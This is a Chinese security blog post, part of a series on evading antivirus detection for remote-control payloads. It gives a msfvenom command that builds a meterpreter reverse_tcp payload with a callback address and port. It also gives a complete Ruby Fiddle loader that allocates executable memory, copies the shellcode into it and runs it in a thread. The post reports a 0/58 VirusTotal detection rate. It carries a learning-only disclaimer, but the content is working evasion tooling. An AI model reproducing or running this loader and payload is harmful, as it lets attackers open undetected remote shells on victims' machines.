远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

admin 2022年6月27日02:21:57评论70 views字数 2062阅读6分52秒阅读模式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus,对免杀感兴趣的小伙伴可以微信关注"Tide安全团队"公众号,公众号回复“免杀”可下载所有资料。


免杀能力一览表

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

几点说明:

1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。

一、Ruby加载shellcode介绍

Ruby做免杀的不是很多,目前好像只遇到专题5中介绍的veil使用了ruby编译exe来进行免杀,目前也没发现基于ruby的shellcode加载器,只找到了一种ruby嵌入shellcode的代码。

二、Ruby嵌入shellcode(VT查杀率0/58)

先用Msfvenom生成基于ruby的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.2 LPORT=3333 -f ruby

ruby源码:

require 'fiddle'require 'fiddle/import'require 'fiddle/types'

shellcode = ""
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
buf = Fiddle::Pointer[shellcode]
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)
thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)

将msfvenom生成的shellcode稍微转换后,写入代码中。

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

使用命令ruby shell.rb执行,360和火绒没有异常行为报警。

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

msf中设置payloadwindows/x64/meterpreter/reverse_tcp进行监听

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

virustotal.com中shell.rb文件的查杀率为0/58

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

三、参考资料

payload免杀:https://www.cnblogs.com/LyShark/p/11331476.html

基于Ruby内存加载shellcode:https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji



E


N


D




远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)


guān


zhù



men



Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)


远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

原文始发于微信公众号(白帽子):远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日02:21:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)https://cn-sec.com/archives/1145734.html

发表评论

匿名网友 填写信息